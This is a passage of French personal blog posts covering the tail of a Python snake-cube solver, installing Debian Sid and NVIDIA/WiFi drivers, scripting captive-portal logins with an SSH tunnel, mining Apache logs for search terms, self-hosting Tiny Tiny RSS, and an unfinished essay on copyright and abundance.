                # i != previous_position will always be True
                previous_position = -1
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one

            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()

def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution

    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)

if __name__ == "__main__":
    main()

Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures…
L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.

Dans l’ordre :

• le téléchargement ;
• la copie sur une clé USB ;
• l’installation directe de Sid à partir de la clé USB ;
• la conservation du home chiffré mis en place par Ubuntu ;
• l’installation des pilotes NVIDIA et WiFi…

Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine…

Téléchargement

Sur la page d’accueil de Debian, dans « Obtenir Debian », c’est la version stable.
Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans « Le coin du développeur », Installateur de Debian.

Ici, il faut regarder la partie « images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo) », et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.

Choisir l’image businesscard (la plus petite). Pour moi : debian-testing-amd64-businesscard.iso.

Clé USB

Connaître l’emplacement

Nous avons besoin de connaître l’emplacement de la clé, sous la forme /dev/sdX.
Une méthode parmi d’autres est de consulter /var/log/syslog lors du branchement : insérer la clé USB et exécuter :

tail /var/log/syslog

Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :

Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)

Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.

Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :

df -h

Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !

Préparer

Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :

$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync

Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).

Installation

Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.

L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner « Advanced Options ».
Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome.
Ensuite, sélectionner « Expert Install » pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).

Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise une partition séparée pour le home, ne pas oublier de configurer les points de montage (/ et /home), et ne pas formater /home (pour conserver les données personnelles).

Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).

Je ne détaille pas les autres étapes d’installation, il suffit de lire.

Déchiffrer le home

Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.

Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le compte utilisateur si vous avez interdit la connexion de root, dans ce cas utiliser sudo), puis installer ecryptfs-utils :

apt-get install ecryptfs-utils

Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :

passwd monlogin

Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).

Gestionnaire de composite

Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :

• éviter les trainées lors du déplacement de fenêtres ;
• activer les ombres sous les fenêtres (très important pour le confort visuel) ;
• les performances…

Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable.
Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :

gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true

Il est également possible d’utiliser gconf-editor :

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.

Pilotes NVIDIA

J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.

Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.

En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau sait faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :

apt-get remove nvidia-*

Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent être activés) :

apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings && nvidia-xconfig

(Remplacez nvidia-kernel-dkms par nvidia-kernel-legacy-VERSION-dkms pour une carte graphique nécessitant des pilotes plus anciens.)

Puis rebooter.

Pilotes WiFi

J’ai également dû installer des pilotes pour ma carte WiFi :

$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100

Il suffit d’installer le paquet non-libre firmware-iwlwifi :

apt-get install firmware-iwlwifi

Il y a plusieurs paquets en firmware-quelquechose, selon votre matériel.

Agencement du clavier

Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier « France (Obsolète) Autre » au lieu de « France Autre ». Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…
EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.

Conclusion

Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.

Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).

Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :

Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes redirigé vers une page d’authentification demandant votre identifiant et votre mot de passe (parfois il ne s’agit que d’accepter des conditions d’utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.

Mais il faut avouer que s’authentifier manuellement à chaque connexion est pénible. D’autant plus que la redirection HTTP vers la page d’authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n’arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.

Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.

Authentification en ligne de commande

La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l’identifiant et du mot de passe. C’est très simple, il suffit d’imiter ce que fait le navigateur lors du clic sur le bouton Valider.

Pour cela, deux choses sont nécessaires : l’URL de la page de validation d’authentification et les champs de formulaire qu’elle utilise.

Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise form. Voici un exemple de ce que vous pouvez obtenir (le HTML n’est pas toujours super propre sur ce genre de pages) :

<form method="post" action="http://10.9.0.1:8000/">
Login <input name="auth_user" type="text">
Password <input name="auth_pass" type="password">
<input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"> J'accepte le règlement
<input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8">
<input type="submit" name="accept" value="Continuer" disabled>
</form>

Tout y est. La valeur de l’attribut action est l’URL de validation, et le nom des champs utilisés est dans l’attribut name de chaque balise input.

Dans cet exemple, seuls auth_user et auth_pass semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu’il y a bien un attribut accept qui vaut Continuer (allez savoir pourquoi).

À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme :

champ1=valeur1&champ2=valeur2&champ3=valeur3

et l’envoyer au serveur en POST, par exemple grâce à la commande POST (en majuscules, ça surprend un peu pour une commande shell) :

POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Si la page d’authentification est en HTTPS, il faudra installer le paquet libcrypt-ssleay-perl, ou alors utiliser wget :

wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l’authentification.
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.

Exécuter un script lors de la connexion

NetworkManager (le gestionnaire de connexion par défaut d’Ubuntu) permet d’exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans /etc/NetworkManager/dispatcher.d/ et de le rendre exécutable.

Le script est appelé avec deux paramètres :

• $1 : l’interface réseau concernée par la connexion ou la déconnexion (wlan0 par exemple) ;
• $2 ayant pour valeur soit up (pour la connexion), soit down (pour la déconnection).

Nous voulons exécuter la commande POST uniquement lors de la connexion de wlan0, et seulement pour le réseau concerné (par exemple celui ayant le nom MonLieuDeVacances).

Il est possible de récupérer le nom du réseau (l’ESSID) auquel nous sommes connectés grâce à iwconfig :

iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'

Il faut donc créer un script dans /etc/NetworkManager/dispatcher.d/10auth :

gksudo gedit /etc/NetworkManager/dispatcher.d/10auth

ayant cette structure :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 <<< 'accept_cgu=1' ;;
    esac
fi

Et le rendre exécutable :

sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth

Script pour FreeWifi

Les pages d’authentification varient d’un réseau à l’autre, il faut donc adapter les paramètres de connexion selon le service utilisé.

Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau FreeWifi (très connu) :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=IDENTIFIANT&password=MOT_DE_PASSE' ;;
    esac
fi

Tunnel SSH

Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés : n’importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.
Si vous avez un ordinateur allumé chez vous (sur un réseau « sûr ») accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.

Le principe est simple : dès que vous accédez à un serveur (par exemple en tapant l’URL dans un navigateur web), l’ordinateur ne va pas s’y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s’y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un proxy SOCKS écoutant sur un port local (par exemple localhost:3128).

Pour démarrer le tunnel :

ssh monserveur -CND3128

Pour configurer le système afin qu’il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (gnome-network-properties), puis configurer comme sur la capture d’écran :

Dans l’onglet Hôtes à ignorer, rajouter l’adresse de la page d’authentification.

Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s’ils le proposent).

Pour Firefox, il est également recommandé dans about:config de passer la variable network.proxy.socks_remote_dns à true, afin que les DNS soient résolus également de l’autre côté du tunnel (sur le réseau « sûr »).

Vous trouverez plus d’infos sur mon billet concernant SSH.

Conclusion

La connexion à des points d’accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d’utilisation devient rapidement insupportable. Il est donc appréciable de l’automatiser.

De plus, ces réseaux ne sont pas « sûrs », n’importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.

Lister les recherches

Si vous utilisez Apache, voici une commande qui liste dans l’ordre alphabétique les recherches Google ayant permis aux internautes d’arriver sur vos sites :

php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-`\");"|sort|uniq -c

EDIT 25/06/2011 : cette commande semble échouer lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.
(pour les autres moteurs de recherche, il faudrait s’inspirer de ce qu’ont fait les développeurs de Piwik)

Voici à quoi ressemble le résultat de la commande :

      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée

Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.

Analyse

Billets les plus recherchés

Sans conteste, les deux billets qui amènent le plus d’internautes par Google concernent pluzz et apk. Et parfois ça ne doit pas les aider beaucoup : certains recherchent par exemple « pluzz plus belle la vie » dans Google à partir d’Internet Explorer, je ne suis pas sûr que mon script shell pour pluzz réponde à leurs attentes.

Recherches insolites

Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j’ai trouvées dans mes logs :

• « clitoris.apk » : il y a vraiment une application pour tout !
• « comment afficher 350 sous linux » : c’est si différent que sur les autres systèmes d’exploitation ?
• « comment on invente une machine pour voler à usage individuelle » : dérober ou s’envoler ?
• « du-ble-plein-les-poches es ce une arnaque » : sans doute…
• « est-il possible de prelever de l’argent sans que ça se voit sur le compte » : je veux rester discret…
• « l’ecran d’un ordinateur portable est de 14,1 pouce avec 1024*768 pixel quelle est la taille de l’ecran N*H en cm ? » : le moteur de recherche, j’en suis sûr, va comprendre ma question, faire le calcul, et me répondre…
• « logiciel adopy » : comme ça se prononce !
• « pour quel raison on doit interdire le zoo » : les animaux c’est dangereux !

Il y a certains sites qui s’amusent à référencer ce genre de recherches, par exemple Comment devenir un ninja gratuitement ?

N’hésitez pas à poster les vôtres…

Challenge

J’ai essayé d’écrire la commande la plus courte possible. Je n’ai pas réussi à faire moins de 129 caractères sans perdre d’information ou prendre plus de risque (par exemple on pourrait remplacer apache2 par a*2, mais c’est plus risqué).

Par contre, cette commande ne fonctionne pas correctement si l’on rajoute |less (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).
Une autre commande, sans php (en 141 caractères), ne pose pas ce problème :

zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&]q=[^&"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c

Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas

Scripts

D’autres ont fait des scripts plus complets, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l’internaute est arrivé en effectuant cette recherche…

Motivations

Pourquoi un serveur ?

Il existe de nombreux clients d’agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox.

Cependant, un tel client pose principalement deux problèmes.

• Le premier, c’est le temps d’attente de mise à jour des flux. Lors du démarrage, les flux ne sont pas disponibles immédiatement : il faut patienter le temps qu’il mette à jour chacun des flux auxquels nous sommes abonnés, ce qui peux prendre plusieurs minutes.
• Le second, c’est la synchronisation : nous ne pouvons pas lire nos flux à plusieurs endroits (maison, travail, mobile…) en gardant la synchronisation (les flux que nous avons lu sont marqués comme lus sur un ordinateur, mais pas sur un autre).

Un gestionnaire de flux doit donc, d’après moi, forcément être hébergé sur un serveur.

Pourquoi son serveur ?

De nombreux services en ligne proposent la gestion de flux RSS (Google Reader, NetVibes, etc.).

Pourquoi donc héberger un tel service sur son propre serveur ?

• Par principe. Comme pour le blog ou les mails, autant auto-héberger son propre contenu, qui n’a rien à faire ailleurs.
• Filtrage en entreprise. Les agrégateurs de flux connus sont souvent bloqués par les proxies d’entreprise. Un service perso sur son propre serveur aura beaucoup moins de risque d’être filtré.
• Données personnelles. Les flux auxquels chacun est abonné et les articles lus sont une information importante pour quiconque souhaite renseigner un profil d’utilisateur. Par exemple, pour modifier les résultats d’un moteur de recherche (ou bien d’autres choses).
• Censure. Les flux RSS peuvent être une source d’information essentielle (c’est ma source d’information principale). Si nous en laissons la gestion à un hébergeur, comment nous assurer qu’il ne supprimera pas des flux les informations qui le dérangent ? Par exemple, s’il décide malencontreusement de supprimer tous les articles qui parlent de Wikileaks ? Je sais que ce n’est pas imaginable dans un pays démocratique.
  Mais regardons quand même (au hasard) l’exemple de Google, qui continue d’étendre l’auto-censure de son moteur de recherche, dans un pays exerçant des pressions politiques et commerciales pour retirer des contenus dérangeants hors de toute décision judiciaire (parfois en supprimant des entrées DNS, même pour un contenu légal dans le pays concerné), pressions auxquelles peu d’entreprises résistent, y compris lorsqu’il s’agit d’obtenir des informations politiques… et ils ne comptent pas s’arrêter en si bon chemin, pour lutter contre ce qu’ils appellent « piratage ». Mais non, censurer certains flux pour des raisons politiques est inimaginable dans un pays démocratique.

Installation

Je vais expliquer l’installation de Tiny Tiny RSS pour ma configuration, à savoir Ubuntu Server 11.04, avec Apache et MySQL.
Je vais l’installer dans ~/flux (le répertoire flux de mon home), avec un lien symbolique /var/www/flux. L’application sera accessible à partir de flux.rom1v.com. Adaptez ces valeurs selon vos besoins.

Dépendances

Tiny Tiny RSS a besoin de php5-curl :

sudo apt-get install php5-curl

Téléchargement

Télécharger la dernière version en bas de la page officielle (actuellement la 1.5.4).

Extraire l’archive dans ~/ :

tar xzf tt-rss-1.5.4.tar.gz

Et renommer le répertoire :

mv tt-rss-1.5.4 flux

Base de données

Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts :

cd flux/schema

Puis se connecter à MySQL :

$ mysql -uroot -p
Enter password:

Une fois connecté, créer la base de données flux :

mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)

Puis créer un utilisateur flux avec les droits sur cette base (on pourra générer son mot de passe grâce à pwgen) :

mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)

Initialiser la base de données :

mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql

La base de données est prête.

Configuration

Retourner dans le répertoire ~/flux :

cd ..

Copier le modèle du fichier de configuration :

cp config.php-dist config.php

Puis l’éditer, par exemple :

nano config.php

Modifier les informations de connexion à la base de données :

        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");

Modifier l’URL d’accès à l’application, pour moi :

        define('SELF_URL_PATH', 'http://flux.rom1v.com');

Désactiver le mode utilisateur unique (sans quoi l’accès à l’application sera public sans authentification) :

        define('SINGLE_USER_MODE', false);

Si Tiny Tiny RSS est installé à la racine du site (c’est mon cas : flux.rom1v.com/), il faut modifier le répertoire d’icônes, car /icons est réservé par Apache :

        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");

Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de Tiny Tiny RSS ne répond plus, l’application rencontre des difficultés :

        define('CHECK_FOR_NEW_VERSION', false);

Pour les performances, activer la compression :

        define('ENABLE_GZIP_OUTPUT', true);

Enfin, une fois que la configuration est terminée, modifier la ligne :

        define('ISCONFIGURED', true);

Les modifications du fichier de configuration sont terminés.

Maintenant, renommer le répetoire icons (comme dans le fichier de configuration) :

mv icons tt-icons

Serveur web

Il faut maintenant héberger l’application sur Apache.

Tout d’abord, donner les droits à www-data sur les répertoires où il a besoin d’écrire :

sudo chown -R www-data: cache tt-icons lock

Puis faire un lien symbolique vers le répertoire /var/www/ :

sudo ln -s ~/flux /var/www/

Créer (au besoin) un nouveau VirtualHost pour le site, dans le répertoire /etc/apache2/sites-available (pour moi dans un fichier nommé flux.rom1v.com) :

<VirtualHost *:80>
	DocumentRoot	/var/www/flux
	ServerName	flux.rom1v.com

	<Directory /var/www/flux/>
		Options FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	</Directory>

	ErrorLog	/var/log/apache2/flux_error.log
	CustomLog	/var/log/apache2/flux_access.log combined

</VirtualHost>

Activer le site :

sudo a2ensite flux.rom1v.com

Redémarrer Apache (un simple reload aurait suffit si nous n’avions pas installé php5-curl tout à l’heure) :

sudo service apache2 restart

Configuration utilisateur

Compte utilisateur

L’application doit maintenant fonctionner. S’y connecter, avec l’utilisateur admin et le mot de passe password (l’utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.

Importation et exportation

Tiny Tiny RSS permet l’importation et l’exportation d’un fichier OPML. Il est ainsi possible de migrer facilement d’un gestionnaire de flux à un autre.

Intégration à Firefox

Il est possible d’associer son instance de Tiny Tiny RSS à Firefox : toujours dans la configuration, dans l’onglet Flux, Intégration à Firefox, cliquer sur le bouton.

Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l’adresse, puis sur Plus d’informations…, sur l’onglet Flux (s’il y en a un), et enfin sur le flux désiré. Par exemple, pour ce blog :

En cliquant sur S’abonner maintenant, Firefox devrait proposer d’utiliser Tiny Tiny RSS.

Programmation de la mise à jour des flux

Il reste encore une étape importante : le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.

Plusieurs méthodes sont décrites sur cette page. Certaines chargent les flux séquentiellement (par cron notamment), ce qui peut poser problème : supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et cron va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement Tiny Tiny RSS pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d’autant plus dommage que l’essentiel de la durée nécessaire est le temps de connexion à chacun des sites : mieux vaut donc paralléliser le chargement.

C’est la raison pour laquelle je préfère la dernière méthode : lancer un démon multi-processus au démarrage du serveur. Par contre, étant donné le fonctionnement du démon proposé, il ne semble pas possible d’en faire un script init.d propre. Le plus simple est donc de rajouter dans /etc/rc.local :

start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php

Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.

Ce démon utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans config.php :

        define('DAEMON_FEED_LIMIT', 50);

et dans update_daemon2.php :

        define('MAX_JOBS', 5);

Autres interfaces

Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d’ajouter à l’URL /mobile.

Pour Android, il existe également une application : ttrss-reader-fork (à tester, mais je la trouve assez buggée). Pour lui permettre l’accès, il est nécessaire de sélectionner « Activer les API externes » dans la page de configuration de Tiny Tiny RSS.

Conclusion

Vous n’avez plus de raison de laisser traîner vos flux RSS n’importe où

Le droit d’auteur sur Internet

Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est son choix.

Pourtant, un auteur ne peut pas avoir tous les droits, certains droits sont nécessaires pour le public. Par exemple, ce n’est pas parce que c’est son œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d’y penser, d’en parler, de la critiquer, etc. Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale ?

La réponse qui vient à l’esprit est évidente, c’est le raisonnement de ceux qui sont favorables à l’interdiction du partage : un artiste, comme toute autre personne, a le droit de vivre de son travail. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l’artiste ne pourra plus vendre son travail.

Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que ceux qui téléchargent le plus sont ceux qui achètent le plus, que de nouveaux modèles économiques sont nécessaires, qu’une meilleure diffusion augmente la notoriété de l’artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, ils défendent ce qu’ils jugent meilleur pour la société.

En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa « valeur marchande » diminue lorsque son abondance augmente. La dématérialisation permet la surabondance : tout le monde peut partager et copier indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l’abondance.

Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l’abondance ruine la culture, car alors il n’est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage pour restaurer une rareté propice à satisfaire une demande solvable, au nom des intérêts supposés des auteurs (et surtout des ayant-droits).

Il semble donc y avoir une opposition directe entre l’intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo :

Le livre, comme livre, appartient à l’auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l’un des deux droits, le droit de l’écrivain et le droit de l’esprit humain, devait être sacrifié, ce serait, certes, le droit de l’écrivain, car l’intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.

Mais ces intérêts sont-ils réellement en conflit ? Et pourquoi ?

Une restriction étrange

La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société.
Mais est-elle bénéfique pour les auteurs ? Sans aucun doute : rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d’obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d’auteur ne leur permettent pas dans le système actuel).

Nous sommes donc dans une situation très étonnante : le partage et la diffusion illimitée sont dans l’intérêt à la fois des auteurs et du public, mais les échanges sont volontairement restreints (par la loi) à cause d’un problème économique. C’est donc l’économie qui empêche des échanges, que rien ne limiterait par ailleurs. N’y voyez-vous pas un paradoxe ?

L’économie

L’économie a pour objectif de résoudre les problèmes de rareté auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c’est-à-dire un produit ou un service dont la demande est supérieure à l’offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c’est un mécanisme pertinent : les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.

Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine ? Tant mieux, pensons-nous, le but de l’économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d’intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l’objectif est atteint, nous ne pouvons plus gagner d’argent. C’est simple : une demande limitée, une offre illimitée et un coût marginal nul impliquent un prix nul.

Comment faire fonctionner l’économie dans ce cas ? La demande est limitée, nous pouvons tenter de l’augmenter (éventuellement grâce à l’obsolescence programmée). Mais surtout nous devons empêcher que l’offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour le réseau Internet lui-même).

Pour gagner de l’argent, il nous faut donc lutter contre notre objectif : l’abondance. Et vu qu’il faut gagner de l’argent pour vivre, il est vital d’aller à l’encontre de ce qui est bénéfique pour la société. N’est-ce pas absurde ?

C’est la raison pour laquelle je suis convaincu qu’une partie des échanges doit être hors-marché. Je pense que nous devrions réserver l’économie aux domaines où elle fonctionne, lorsqu’elle améliore la société, c’est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu’il y a abondance – doit être hors-marché, car sinon l’économie tenterait d’y restaurer une rareté artificielle. Certains réfléchissent aussi à des monnaies d’abondance.

Les domaines d’abondance

